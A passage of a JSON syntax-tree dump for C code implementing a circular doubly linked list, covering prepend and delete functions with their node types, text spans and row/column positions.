"start_point": {"row": 45, "column": 20}, "end_point": {"row": 45, "column": 26}}, {"id": 120, "type": "argument_list", "text": "( sizeof(linked_list) )", "parent": 118, "children": [121], "start_point": {"row": 45, "column": 26}, "end_point": {"row": 45, "column": 49}}, {"id": 121, "type": "sizeof_expression", "text": "sizeof(linked_list)", "parent": 120, "children": [122], "start_point": {"row": 45, "column": 28}, "end_point": {"row": 45, "column": 47}}, {"id": 122, "type": "parenthesized_expression", "text": "(linked_list)", "parent": 121, "children": [123], "start_point": {"row": 45, "column": 34}, "end_point": {"row": 45, "column": 47}}, {"id": 123, "type": "identifier", "text": "linked_list", "parent": 122, "children": [], "start_point": {"row": 45, "column": 35}, "end_point": {"row": 45, "column": 46}}, {"id": 124, "type": "if_statement", "text": "if (new_list_element == NULL) {\n\t\tDL_OUT_OF_MEM_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}", "parent": 78, "children": [125], "start_point": {"row": 47, "column": 1}, "end_point": {"row": 50, "column": 2}}, {"id": 125, "type": "parenthesized_expression", "text": "(new_list_element == NULL)", "parent": 124, "children": [126], "start_point": {"row": 47, "column": 4}, "end_point": {"row": 47, "column": 30}}, {"id": 126, "type": "binary_expression", "text": "new_list_element == NULL", "parent": 125, "children": [127, 128, 129], "start_point": {"row": 47, "column": 5}, "end_point": {"row": 47, "column": 29}}, {"id": 127, "type": "identifier", "text": "new_list_element", "parent": 126, "children": [], "start_point": {"row": 47, "column": 5}, "end_point": {"row": 47, "column": 21}}, {"id": 128, "type": "==", "text": "==", "parent": 126, "children": [], "start_point": {"row": 47, "column": 22}, "end_point": {"row": 47, "column": 24}}, {"id": 129, "type": "null", "text": "NULL", "parent": 126, "children": [130], "start_point": {"row": 47, "column": 25}, "end_point": {"row": 47, "column": 29}}, {"id": 130, "type": "NULL", "text": "NULL", "parent": 129, "children": [], "start_point": {"row": 47, "column": 25}, "end_point": {"row": 47, "column": 29}}, {"id": 131, "type": "identifier", "text": "DL_OUT_OF_MEM_MSG", "parent": 124, "children": [], "start_point": {"row": 48, "column": 2}, "end_point": {"row": 48, "column": 19}}, {"id": 132, "type": "return_statement", "text": "return DL_ERROR_SIGNAL;", "parent": 124, "children": [133], "start_point": {"row": 49, "column": 2}, "end_point": {"row": 49, "column": 25}}, {"id": 133, "type": "identifier", "text": "DL_ERROR_SIGNAL", "parent": 132, "children": [], "start_point": {"row": 49, "column": 9}, "end_point": {"row": 49, "column": 24}}, {"id": 134, "type": "assignment_expression", "text": "new_list_element->data = element", "parent": 78, "children": [135, 138, 139], "start_point": {"row": 52, "column": 1}, "end_point": {"row": 52, "column": 33}}, {"id": 135, "type": "field_expression", "text": "new_list_element->data", "parent": 134, "children": [136, 137], "start_point": {"row": 52, "column": 1}, "end_point": {"row": 52, "column": 23}}, {"id": 136, "type": "identifier", "text": "new_list_element", "parent": 135, "children": [], "start_point": {"row": 52, "column": 1}, "end_point": {"row": 52, "column": 17}}, {"id": 137, "type": "field_identifier", "text": "data", "parent": 135, "children": [], "start_point": {"row": 52, "column": 19}, "end_point": {"row": 52, "column": 23}}, {"id": 138, "type": "=", "text": "=", "parent": 134, "children": [], "start_point": {"row": 52, "column": 24}, "end_point": {"row": 52, "column": 25}}, {"id": 139, "type": "identifier", "text": "element", "parent": 134, "children": [], "start_point": {"row": 52, "column": 26}, "end_point": {"row": 52, "column": 33}}, {"id": 140, "type": "assignment_expression", "text": "*((int*) list->data) += 1", "parent": 78, "children": [141, 152, 153], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 26}}, {"id": 141, "type": "pointer_expression", "text": "*((int*) list->data)", "parent": 140, "children": [142, 143], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 21}}, {"id": 142, "type": "*", "text": "*", "parent": 141, "children": [], "start_point": {"row": 54, "column": 1}, "end_point": {"row": 54, "column": 2}}, {"id": 143, "type": "parenthesized_expression", "text": "((int*) list->data)", "parent": 141, "children": [144], "start_point": {"row": 54, "column": 2}, "end_point": {"row": 54, "column": 21}}, {"id": 144, "type": "cast_expression", "text": "(int*) list->data", "parent": 143, "children": [145, 149], "start_point": {"row": 54, "column": 3}, "end_point": {"row": 54, "column": 20}}, {"id": 145, "type": "type_descriptor", "text": "int*", "parent": 144, "children": [146, 147], "start_point": {"row": 54, "column": 4}, "end_point": {"row": 54, "column": 8}}, {"id": 146, "type": "primitive_type", "text": "int", "parent": 145, "children": [], "start_point": {"row": 54, "column": 4}, "end_point": {"row": 54, "column": 7}}, {"id": 147, "type": "abstract_pointer_declarator", "text": "*", "parent": 145, "children": [148], "start_point": {"row": 54, "column": 7}, "end_point": {"row": 54, "column": 8}}, {"id": 148, "type": "*", "text": "*", "parent": 147, "children": [], "start_point": {"row": 54, "column": 7}, "end_point": {"row": 54, "column": 8}}, {"id": 149, "type": "field_expression", "text": "list->data", "parent": 144, "children": [150, 151], "start_point": {"row": 54, "column": 10}, "end_point": {"row": 54, "column": 20}}, {"id": 150, "type": "identifier", "text": "list", "parent": 149, "children": [], "start_point": {"row": 54, "column": 10}, "end_point": {"row": 54, "column": 14}}, {"id": 151, "type": "field_identifier", "text": "data", "parent": 149, "children": [], "start_point": {"row": 54, "column": 16}, "end_point": {"row": 54, "column": 20}}, {"id": 152, "type": "+=", "text": "+=", "parent": 140, "children": [], "start_point": {"row": 54, "column": 22}, "end_point": {"row": 54, "column": 24}}, {"id": 153, "type": "number_literal", "text": "1", "parent": 140, "children": [], "start_point": {"row": 54, "column": 25}, "end_point": {"row": 54, "column": 26}}, {"id": 154, "type": "assignment_expression", "text": "new_list_element->previous = list->previous", "parent": 78, "children": [155, 158, 159], "start_point": {"row": 58, "column": 1}, "end_point": {"row": 58, "column": 44}}, {"id": 155, "type": "field_expression", "text": "new_list_element->previous", "parent": 154, "children": [156, 157], "start_point": {"row": 58, "column": 1}, "end_point": {"row": 58, "column": 27}}, {"id": 156, "type": "identifier", "text": "new_list_element", "parent": 155, "children": [], "start_point": {"row": 58, "column": 1}, "end_point": {"row": 58, "column": 17}}, {"id": 157, "type": "field_identifier", "text": "previous", "parent": 155, "children": [], "start_point": {"row": 58, "column": 19}, "end_point": {"row": 58, "column": 27}}, {"id": 158, "type": "=", "text": "=", "parent": 154, "children": [], "start_point": {"row": 58, "column": 28}, "end_point": {"row": 58, "column": 29}}, {"id": 159, "type": "field_expression", "text": "list->previous", "parent": 154, "children": [160, 161], "start_point": {"row": 58, "column": 30}, "end_point": {"row": 58, "column": 44}}, {"id": 160, "type": "identifier", "text": "list", "parent": 159, "children": [], "start_point": {"row": 58, "column": 30}, "end_point": {"row": 58, "column": 34}}, {"id": 161, "type": "field_identifier", "text": "previous", "parent": 159, "children": [], "start_point": {"row": 58, "column": 36}, "end_point": {"row": 58, "column": 44}}, {"id": 162, "type": "assignment_expression", "text": "new_list_element->next = list", "parent": 78, "children": [163, 166, 167], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 30}}, {"id": 163, "type": "field_expression", "text": "new_list_element->next", "parent": 162, "children": [164, 165], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 23}}, {"id": 164, "type": "identifier", "text": "new_list_element", "parent": 163, "children": [], "start_point": {"row": 59, "column": 1}, "end_point": {"row": 59, "column": 17}}, {"id": 165, "type": "field_identifier", "text": "next", "parent": 163, "children": [], "start_point": {"row": 59, "column": 19}, "end_point": {"row": 59, "column": 23}}, {"id": 166, "type": "=", "text": "=", "parent": 162, "children": [], "start_point": {"row": 59, "column": 24}, "end_point": {"row": 59, "column": 25}}, {"id": 167, "type": "identifier", "text": "list", "parent": 162, "children": [], "start_point": {"row": 59, "column": 26}, "end_point": {"row": 59, "column": 30}}, {"id": 168, "type": "assignment_expression", "text": "list->previous->next = new_list_element", "parent": 78, "children": [169, 174, 175], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 61, "column": 40}}, {"id": 169, "type": "field_expression", "text": "list->previous->next", "parent": 168, "children": [170, 173], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 61, "column": 21}}, {"id": 170, "type": "field_expression", "text": "list->previous", "parent": 169, "children": [171, 172], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 61, "column": 15}}, {"id": 171, "type": "identifier", "text": "list", "parent": 170, "children": [], "start_point": {"row": 61, "column": 1}, "end_point": {"row": 61, "column": 5}}, {"id": 172, "type": "field_identifier", "text": "previous", "parent": 170, "children": [], "start_point": {"row": 61, "column": 7}, "end_point": {"row": 61, "column": 15}}, {"id": 173, "type": "field_identifier", "text": "next", "parent": 169, "children": [], "start_point": {"row": 61, "column": 17}, "end_point": {"row": 61, "column": 21}}, {"id": 174, "type": "=", "text": "=", "parent": 168, "children": [], "start_point": {"row": 61, "column": 22}, "end_point": {"row": 61, "column": 23}}, {"id": 175, "type": "identifier", "text": "new_list_element", "parent": 168, "children": [], "start_point": {"row": 61, "column": 24}, "end_point": {"row": 61, "column": 40}}, {"id": 176, "type": "assignment_expression", "text": "list->previous = new_list_element", "parent": 78, "children": [177, 180, 181], "start_point": {"row": 62, "column": 1}, "end_point": {"row": 62, "column": 34}}, {"id": 177, "type": "field_expression", "text": "list->previous", "parent": 176, "children": [178, 179], "start_point": {"row": 62, "column": 1}, "end_point": {"row": 62, "column": 15}}, {"id": 178, "type": "identifier", "text": "list", "parent": 177, "children": [], "start_point": {"row": 62, "column": 1}, "end_point": {"row": 62, "column": 5}}, {"id": 179, "type": "field_identifier", "text": "previous", "parent": 177, "children": [], "start_point": {"row": 62, "column": 7}, "end_point": {"row": 62, "column": 15}}, {"id": 180, "type": "=", "text": "=", "parent": 176, "children": [], "start_point": {"row": 62, "column": 16}, "end_point": {"row": 62, "column": 17}}, {"id": 181, "type": "identifier", "text": "new_list_element", "parent": 176, "children": [], "start_point": {"row": 62, "column": 18}, "end_point": {"row": 62, "column": 34}}, {"id": 182, "type": "return_statement", "text": "return DL_SUCCESS_SIGNAL;", "parent": 78, "children": [183], "start_point": {"row": 64, "column": 1}, "end_point": {"row": 64, "column": 26}}, {"id": 183, "type": "identifier", "text": "DL_SUCCESS_SIGNAL", "parent": 182, "children": [], "start_point": {"row": 64, "column": 8}, "end_point": {"row": 64, "column": 25}}, {"id": 184, "type": "function_definition", "text": "int prepend_element(linked_list *list, void *element) {\n\tif(list == NULL || element == NULL){\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\n\tlinked_list *new_list_element;\n\n\tnew_list_element = malloc(sizeof(linked_list));\n\t\n\tif(new_list_element == NULL){\n\t\tDL_OUT_OF_MEM_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\n\tnew_list_element->data = element;\n\n\t*((int*) list->data) += 1;\n\n\t// list->next is the old first element in the list\n\n\tnew_list_element->next = list->next;\n\tnew_list_element->previous = list;\n\n\tlist->next->previous = new_list_element;\n\tlist->next = new_list_element;\n\n\treturn DL_SUCCESS_SIGNAL;\n}", "parent": null, "children": [185, 186], "start_point": {"row": 72, "column": 0}, "end_point": {"row": 100, "column": 1}}, {"id": 185, "type": "primitive_type", "text": "int", "parent": 184, "children": [], "start_point": {"row": 72, "column": 0}, "end_point": {"row": 72, "column": 3}}, {"id": 186, "type": "function_declarator", "text": "prepend_element(linked_list *list, void *element)", "parent": 184, "children": [187, 188], "start_point": {"row": 72, "column": 4}, "end_point": {"row": 72, "column": 53}}, {"id": 187, "type": "identifier", "text": "prepend_element", "parent": 186, "children": [], "start_point": {"row": 72, "column": 4}, "end_point": {"row": 72, "column": 19}}, {"id": 188, "type": "parameter_list", "text": "(linked_list *list, void *element)", "parent": 186, "children": [189, 194], "start_point": {"row": 72, "column": 19}, "end_point": {"row": 72, "column": 53}}, {"id": 189, "type": "parameter_declaration", "text": "linked_list *list", "parent": 188, "children": [190, 191], "start_point": {"row": 72, "column": 20}, "end_point": {"row": 72, "column": 37}}, {"id": 190, "type": "type_identifier", "text": "linked_list", "parent": 189, "children": [], "start_point": {"row": 72, "column": 20}, "end_point": {"row": 72, "column": 31}}, {"id": 191, "type": "pointer_declarator", "text": "*list", "parent": 189, "children": [192, 193], "start_point": {"row": 72, "column": 32}, "end_point": {"row": 72, "column": 37}}, {"id": 192, "type": "*", "text": "*", "parent": 191, "children": [], "start_point": {"row": 72, "column": 32}, "end_point": {"row": 72, "column": 33}}, {"id": 193, "type": "identifier", "text": "list", "parent": 191, "children": [], "start_point": {"row": 72, "column": 33}, "end_point": {"row": 72, "column": 37}}, {"id": 194, "type": "parameter_declaration", "text": "void *element", "parent": 188, "children": [195, 196], "start_point": {"row": 72, "column": 39}, "end_point": {"row": 72, "column": 52}}, {"id": 195, "type": "primitive_type", "text": "void", "parent": 194, "children": [], "start_point": {"row": 72, "column": 39}, "end_point": {"row": 72, "column": 43}}, {"id": 196, "type": "pointer_declarator", "text": "*element", "parent": 194, "children": [197, 198], "start_point": {"row": 72, "column": 44}, "end_point": {"row": 72, "column": 52}}, {"id": 197, "type": "*", "text": "*", "parent": 196, "children": [], "start_point": {"row": 72, "column": 44}, "end_point": {"row": 72, "column": 45}}, {"id": 198, "type": "identifier", "text": "element", "parent": 196, "children": [], "start_point": {"row": 72, "column": 45}, "end_point": {"row": 72, "column": 52}}, {"id": 199, "type": "if_statement", "text": "if(list == NULL || element == NULL){\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}", "parent": 184, "children": [200], "start_point": {"row": 73, "column": 1}, "end_point": {"row": 76, "column": 2}}, {"id": 200, "type": "parenthesized_expression", "text": "(list == NULL || element == NULL)", "parent": 199, "children": [201], "start_point": {"row": 73, "column": 3}, "end_point": {"row": 73, "column": 36}}, {"id": 201, "type": "binary_expression", "text": "list == NULL || element == NULL", "parent": 200, "children": [202, 207, 208], "start_point": {"row": 73, "column": 4}, "end_point": {"row": 73, "column": 35}}, {"id": 202, "type": "binary_expression", "text": "list == NULL", "parent": 201, "children": [203, 204, 205], "start_point": {"row": 73, "column": 4}, "end_point": {"row": 73, "column": 16}}, {"id": 203, "type": "identifier", "text": "list", "parent": 202, "children": [], "start_point": {"row": 73, "column": 4}, "end_point": {"row": 73, "column": 8}}, {"id": 204, "type": "==", "text": "==", "parent": 202, "children": [], "start_point": {"row": 73, "column": 9}, "end_point": {"row": 73, "column": 11}}, {"id": 205, "type": "null", "text": "NULL", "parent": 202, "children": [206], "start_point": {"row": 73, "column": 12}, "end_point": {"row": 73, "column": 16}}, {"id": 206, "type": "NULL", "text": "NULL", "parent": 205, "children": [], "start_point": {"row": 73, "column": 12}, "end_point": {"row": 73, "column": 16}}, {"id": 207, "type": "||", "text": "||", "parent": 201, "children": [], "start_point": {"row": 73, "column": 17}, "end_point": {"row": 73, "column": 19}}, {"id": 208, "type": "binary_expression", "text": "element == NULL", "parent": 201, "children": [209, 210, 211], "start_point": {"row": 73, "column": 20}, "end_point": {"row": 73, "column": 35}}, {"id": 209, "type": "identifier", "text": "element", "parent": 208, "children": [], "start_point": {"row": 73, "column": 20}, "end_point": {"row": 73, "column": 27}}, {"id": 210, "type": "==", "text": "==", "parent": 208, "children": [], "start_point": {"row": 73, "column": 28}, "end_point": {"row": 73, "column": 30}}, {"id": 211, "type": "null", "text": "NULL", "parent": 208, "children": [212], "start_point": {"row": 73, "column": 31}, "end_point": {"row": 73, "column": 35}}, {"id": 212, "type": "NULL", "text": "NULL", "parent": 211, "children": [], "start_point": {"row": 73, "column": 31}, "end_point": {"row": 73, "column": 35}}, {"id": 213, "type": "identifier", "text": "DL_INVALID_ARGS_MSG", "parent": 199, "children": [], "start_point": {"row": 74, "column": 2}, "end_point": {"row": 74, "column": 21}}, {"id": 214, "type": "return_statement", "text": "return DL_ERROR_SIGNAL;", "parent": 199, "children": [215], "start_point": {"row": 75, "column": 2}, "end_point": {"row": 75, "column": 25}}, {"id": 215, "type": "identifier", "text": "DL_ERROR_SIGNAL", "parent": 214, "children": [], "start_point": {"row": 75, "column": 9}, "end_point": {"row": 75, "column": 24}}, {"id": 216, "type": "declaration", "text": "linked_list *new_list_element;", "parent": 184, "children": [217, 218], "start_point": {"row": 78, "column": 1}, "end_point": {"row": 78, "column": 31}}, {"id": 217, "type": "type_identifier", "text": "linked_list", "parent": 216, "children": [], "start_point": {"row": 78, "column": 1}, "end_point": {"row": 78, "column": 12}}, {"id": 218, "type": "pointer_declarator", "text": "*new_list_element", "parent": 216, "children": [219, 220], "start_point": {"row": 78, "column": 13}, "end_point": {"row": 78, "column": 30}}, {"id": 219, "type": "*", "text": "*", "parent": 218, "children": [], "start_point": {"row": 78, "column": 13}, "end_point": {"row": 78, "column": 14}}, {"id": 220, "type": "identifier", "text": "new_list_element", "parent": 218, "children": [], "start_point": {"row": 78, "column": 14}, "end_point": {"row": 78, "column": 30}}, {"id": 221, "type": "assignment_expression", "text": "new_list_element = malloc(sizeof(linked_list))", "parent": 184, "children": [222, 223, 224], "start_point": {"row": 80, "column": 1}, "end_point": {"row": 80, "column": 47}}, {"id": 222, "type": "identifier", "text": "new_list_element", "parent": 221, "children": [], "start_point": {"row": 80, "column": 1}, "end_point": {"row": 80, "column": 17}}, {"id": 223, "type": "=", "text": "=", "parent": 221, "children": [], "start_point": {"row": 80, "column": 18}, "end_point": {"row": 80, "column": 19}}, {"id": 224, "type": "call_expression", "text": "malloc(sizeof(linked_list))", "parent": 221, "children": [225, 226], "start_point": {"row": 80, "column": 20}, "end_point": {"row": 80, "column": 47}}, {"id": 225, "type": "identifier", "text": "malloc", "parent": 224, "children": [], "start_point": {"row": 80, "column": 20}, "end_point": {"row": 80, "column": 26}}, {"id": 226, "type": "argument_list", "text": "(sizeof(linked_list))", "parent": 224, "children": [227], "start_point": {"row": 80, "column": 26}, "end_point": {"row": 80, "column": 47}}, {"id": 227, "type": "sizeof_expression", "text": "sizeof(linked_list)", "parent": 226, "children": [228], "start_point": {"row": 80, "column": 27}, "end_point": {"row": 80, "column": 46}}, {"id": 228, "type": "parenthesized_expression", "text": "(linked_list)", "parent": 227, "children": [229], "start_point": {"row": 80, "column": 33}, "end_point": {"row": 80, "column": 46}}, {"id": 229, "type": "identifier", "text": "linked_list", "parent": 228, "children": [], "start_point": {"row": 80, "column": 34}, "end_point": {"row": 80, "column": 45}}, {"id": 230, "type": "if_statement", "text": "if(new_list_element == NULL){\n\t\tDL_OUT_OF_MEM_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}", "parent": 184, "children": [231], "start_point": {"row": 82, "column": 1}, "end_point": {"row": 85, "column": 2}}, {"id": 231, "type": "parenthesized_expression", "text": "(new_list_element == NULL)", "parent": 230, "children": [232], "start_point": {"row": 82, "column": 3}, "end_point": {"row": 82, "column": 29}}, {"id": 232, "type": "binary_expression", "text": "new_list_element == NULL", "parent": 231, "children": [233, 234, 235], "start_point": {"row": 82, "column": 4}, "end_point": {"row": 82, "column": 28}}, {"id": 233, "type": "identifier", "text": "new_list_element", "parent": 232, "children": [], "start_point": {"row": 82, "column": 4}, "end_point": {"row": 82, "column": 20}}, {"id": 234, "type": "==", "text": "==", "parent": 232, "children": [], "start_point": {"row": 82, "column": 21}, "end_point": {"row": 82, "column": 23}}, {"id": 235, "type": "null", "text": "NULL", "parent": 232, "children": [236], "start_point": {"row": 82, "column": 24}, "end_point": {"row": 82, "column": 28}}, {"id": 236, "type": "NULL", "text": "NULL", "parent": 235, "children": [], "start_point": {"row": 82, "column": 24}, "end_point": {"row": 82, "column": 28}}, {"id": 237, "type": "identifier", "text": "DL_OUT_OF_MEM_MSG", "parent": 230, "children": [], "start_point": {"row": 83, "column": 2}, "end_point": {"row": 83, "column": 19}}, {"id": 238, "type": "return_statement", "text": "return DL_ERROR_SIGNAL;", "parent": 230, "children": [239], "start_point": {"row": 84, "column": 2}, "end_point": {"row": 84, "column": 25}}, {"id": 239, "type": "identifier", "text": "DL_ERROR_SIGNAL", "parent": 238, "children": [], "start_point": {"row": 84, "column": 9}, "end_point": {"row": 84, "column": 24}}, {"id": 240, "type": "assignment_expression", "text": "new_list_element->data = element", "parent": 184, "children": [241, 244, 245], "start_point": {"row": 87, "column": 1}, "end_point": {"row": 87, "column": 33}}, {"id": 241, "type": "field_expression", "text": "new_list_element->data", "parent": 240, "children": [242, 243], "start_point": {"row": 87, "column": 1}, "end_point": {"row": 87, "column": 23}}, {"id": 242, "type": "identifier", "text": "new_list_element", "parent": 241, "children": [], "start_point": {"row": 87, "column": 1}, "end_point": {"row": 87, "column": 17}}, {"id": 243, "type": "field_identifier", "text": "data", "parent": 241, "children": [], "start_point": {"row": 87, "column": 19}, "end_point": {"row": 87, "column": 23}}, {"id": 244, "type": "=", "text": "=", "parent": 240, "children": [], "start_point": {"row": 87, "column": 24}, "end_point": {"row": 87, "column": 25}}, {"id": 245, "type": "identifier", "text": "element", "parent": 240, "children": [], "start_point": {"row": 87, "column": 26}, "end_point": {"row": 87, "column": 33}}, {"id": 246, "type": "assignment_expression", "text": "*((int*) list->data) += 1", "parent": 184, "children": [247, 258, 259], "start_point": {"row": 89, "column": 1}, "end_point": {"row": 89, "column": 26}}, {"id": 247, "type": "pointer_expression", "text": "*((int*) list->data)", "parent": 246, "children": [248, 249], "start_point": {"row": 89, "column": 1}, "end_point": {"row": 89, "column": 21}}, {"id": 248, "type": "*", "text": "*", "parent": 247, "children": [], "start_point": {"row": 89, "column": 1}, "end_point": {"row": 89, "column": 2}}, {"id": 249, "type": "parenthesized_expression", "text": "((int*) list->data)", "parent": 247, "children": [250], "start_point": {"row": 89, "column": 2}, "end_point": {"row": 89, "column": 21}}, {"id": 250, "type": "cast_expression", "text": "(int*) list->data", "parent": 249, "children": [251, 255], "start_point": {"row": 89, "column": 3}, "end_point": {"row": 89, "column": 20}}, {"id": 251, "type": "type_descriptor", "text": "int*", "parent": 250, "children": [252, 253], "start_point": {"row": 89, "column": 4}, "end_point": {"row": 89, "column": 8}}, {"id": 252, "type": "primitive_type", "text": "int", "parent": 251, "children": [], "start_point": {"row": 89, "column": 4}, "end_point": {"row": 89, "column": 7}}, {"id": 253, "type": "abstract_pointer_declarator", "text": "*", "parent": 251, "children": [254], "start_point": {"row": 89, "column": 7}, "end_point": {"row": 89, "column": 8}}, {"id": 254, "type": "*", "text": "*", "parent": 253, "children": [], "start_point": {"row": 89, "column": 7}, "end_point": {"row": 89, "column": 8}}, {"id": 255, "type": "field_expression", "text": "list->data", "parent": 250, "children": [256, 257], "start_point": {"row": 89, "column": 10}, "end_point": {"row": 89, "column": 20}}, {"id": 256, "type": "identifier", "text": "list", "parent": 255, "children": [], "start_point": {"row": 89, "column": 10}, "end_point": {"row": 89, "column": 14}}, {"id": 257, "type": "field_identifier", "text": "data", "parent": 255, "children": [], "start_point": {"row": 89, "column": 16}, "end_point": {"row": 89, "column": 20}}, {"id": 258, "type": "+=", "text": "+=", "parent": 246, "children": [], "start_point": {"row": 89, "column": 22}, "end_point": {"row": 89, "column": 24}}, {"id": 259, "type": "number_literal", "text": "1", "parent": 246, "children": [], "start_point": {"row": 89, "column": 25}, "end_point": {"row": 89, "column": 26}}, {"id": 260, "type": "assignment_expression", "text": "new_list_element->next = list->next", "parent": 184, "children": [261, 264, 265], "start_point": {"row": 93, "column": 1}, "end_point": {"row": 93, "column": 36}}, {"id": 261, "type": "field_expression", "text": "new_list_element->next", "parent": 260, "children": [262, 263], "start_point": {"row": 93, "column": 1}, "end_point": {"row": 93, "column": 23}}, {"id": 262, "type": "identifier", "text": "new_list_element", "parent": 261, "children": [], "start_point": {"row": 93, "column": 1}, "end_point": {"row": 93, "column": 17}}, {"id": 263, "type": "field_identifier", "text": "next", "parent": 261, "children": [], "start_point": {"row": 93, "column": 19}, "end_point": {"row": 93, "column": 23}}, {"id": 264, "type": "=", "text": "=", "parent": 260, "children": [], "start_point": {"row": 93, "column": 24}, "end_point": {"row": 93, "column": 25}}, {"id": 265, "type": "field_expression", "text": "list->next", "parent": 260, "children": [266, 267], "start_point": {"row": 93, "column": 26}, "end_point": {"row": 93, "column": 36}}, {"id": 266, "type": "identifier", "text": "list", "parent": 265, "children": [], "start_point": {"row": 93, "column": 26}, "end_point": {"row": 93, "column": 30}}, {"id": 267, "type": "field_identifier", "text": "next", "parent": 265, "children": [], "start_point": {"row": 93, "column": 32}, "end_point": {"row": 93, "column": 36}}, {"id": 268, "type": "assignment_expression", "text": "new_list_element->previous = list", "parent": 184, "children": [269, 272, 273], "start_point": {"row": 94, "column": 1}, "end_point": {"row": 94, "column": 34}}, {"id": 269, "type": "field_expression", "text": "new_list_element->previous", "parent": 268, "children": [270, 271], "start_point": {"row": 94, "column": 1}, "end_point": {"row": 94, "column": 27}}, {"id": 270, "type": "identifier", "text": "new_list_element", "parent": 269, "children": [], "start_point": {"row": 94, "column": 1}, "end_point": {"row": 94, "column": 17}}, {"id": 271, "type": "field_identifier", "text": "previous", "parent": 269, "children": [], "start_point": {"row": 94, "column": 19}, "end_point": {"row": 94, "column": 27}}, {"id": 272, "type": "=", "text": "=", "parent": 268, "children": [], "start_point": {"row": 94, "column": 28}, "end_point": {"row": 94, "column": 29}}, {"id": 273, "type": "identifier", "text": "list", "parent": 268, "children": [], "start_point": {"row": 94, "column": 30}, "end_point": {"row": 94, "column": 34}}, {"id": 274, "type": "assignment_expression", "text": "list->next->previous = new_list_element", "parent": 184, "children": [275, 280, 281], "start_point": {"row": 96, "column": 1}, "end_point": {"row": 96, "column": 40}}, {"id": 275, "type": "field_expression", "text": "list->next->previous", "parent": 274, "children": [276, 279], "start_point": {"row": 96, "column": 1}, "end_point": {"row": 96, "column": 21}}, {"id": 276, "type": "field_expression", "text": "list->next", "parent": 275, "children": [277, 278], "start_point": {"row": 96, "column": 1}, "end_point": {"row": 96, "column": 11}}, {"id": 277, "type": "identifier", "text": "list", "parent": 276, "children": [], "start_point": {"row": 96, "column": 1}, "end_point": {"row": 96, "column": 5}}, {"id": 278, "type": "field_identifier", "text": "next", "parent": 276, "children": [], "start_point": {"row": 96, "column": 7}, "end_point": {"row": 96, "column": 11}}, {"id": 279, "type": "field_identifier", "text": "previous", "parent": 275, "children": [], "start_point": {"row": 96, "column": 13}, "end_point": {"row": 96, "column": 21}}, {"id": 280, "type": "=", "text": "=", "parent": 274, "children": [], "start_point": {"row": 96, "column": 22}, "end_point": {"row": 96, "column": 23}}, {"id": 281, "type": "identifier", "text": "new_list_element", "parent": 274, "children": [], "start_point": {"row": 96, "column": 24}, "end_point": {"row": 96, "column": 40}}, {"id": 282, "type": "assignment_expression", "text": "list->next = new_list_element", "parent": 184, "children": [283, 286, 287], "start_point": {"row": 97, "column": 1}, "end_point": {"row": 97, "column": 30}}, {"id": 283, "type": "field_expression", "text": "list->next", "parent": 282, "children": [284, 285], "start_point": {"row": 97, "column": 1}, "end_point": {"row": 97, "column": 11}}, {"id": 284, "type": "identifier", "text": "list", "parent": 283, "children": [], "start_point": {"row": 97, "column": 1}, "end_point": {"row": 97, "column": 5}}, {"id": 285, "type": "field_identifier", "text": "next", "parent": 283, "children": [], "start_point": {"row": 97, "column": 7}, "end_point": {"row": 97, "column": 11}}, {"id": 286, "type": "=", "text": "=", "parent": 282, "children": [], "start_point": {"row": 97, "column": 12}, "end_point": {"row": 97, "column": 13}}, {"id": 287, "type": "identifier", "text": "new_list_element", "parent": 282, "children": [], "start_point": {"row": 97, "column": 14}, "end_point": {"row": 97, "column": 30}}, {"id": 288, "type": "return_statement", "text": "return DL_SUCCESS_SIGNAL;", "parent": 184, "children": [289], "start_point": {"row": 99, "column": 1}, "end_point": {"row": 99, "column": 26}}, {"id": 289, "type": "identifier", "text": "DL_SUCCESS_SIGNAL", "parent": 288, "children": [], "start_point": {"row": 99, "column": 8}, "end_point": {"row": 99, "column": 25}}, {"id": 290, "type": "function_definition", "text": "int delete_element(linked_list *list, void *element) {\n\tif (list == NULL || element == NULL) {\n\t\tDL_INVALID_ARGS_MSG;\n\t\treturn DL_ERROR_SIGNAL;\n\t}\n\n\tlinked_list *iterator;\n\n\titerator = list->next;\n\n\twhile (iterator != list) {\n\t\tif (iterator->data == element) {\n\t\t\titerator->previous->next = iterator->next;\n\t\t\titerator->next->previous = iterator->previous;\n\t\t\tfree(iterator);\n\t\t\t*((int*) list->data) -= 1;\n\t\t\treturn DL_SUCCESS_SIGNAL;\n\t\t}\n\t\titerator = iterator->next;\n\t}\n\treturn DL_ERROR_SIGNAL;\n}", "parent": null, "children": [291, 292], "start_point": {"row": 106, "column": 0}, "end_point": {"row": 127, "column": 1}}, {"id": 291, "type": "primitive_type", "text": "int", "parent": 290, "children": [], "start_point": {"row": 106, "column": 0}, "end_point": {"row": 106, "column": 3}}, {"id": 292, "type": "function_declarator", "text": "delete_element(linked_list *list, void *element)", "parent": 290, "children": [293, 294], "start_point": {"row": 106, "column": 4}, "end_point": {"row": 106, "column": 52}}, {"id": 293, "type": "identifier", "text": "delete_element", "parent": 292, "children": [], "start_point": {"row": 106, "column": 4}, "end_point": {"row": 106, "column": 18}}, {"id": 294, "type": "parameter_list", "text": "(linked_list *list, void *element)", "parent": 292, "children": [295, 300], "start_point": {"row": 106, "column": 18}, "end_point": {"row": 106, "column": 52}}, {"id": 295, "type": "parameter_declaration", "text": "linked_list *list", "parent": 294, "children": [296, 297], "start_point": {"row": 106, "column": 19}, "end_point": {"row": 106, "column": 36}}, {"id": 296, "type": "type_identifier", "text": "linked_list", "parent": 295, "children": [], "start_point": {"row": 106, "column": 19}, "end_point": {"row": 106, "column": 30}}, {"id": 297, "type": "pointer_declarator", "text": "*list", "parent": 295, "children": [298, 299], "start_point": {"row": 106, "column": 31}, "end_point": {"row": 106, "column": 36}}, {"id": 298, "type": "*", "text": "*", "parent": 297, "children": [], "start_point": {"row": 106, "column": 31}, 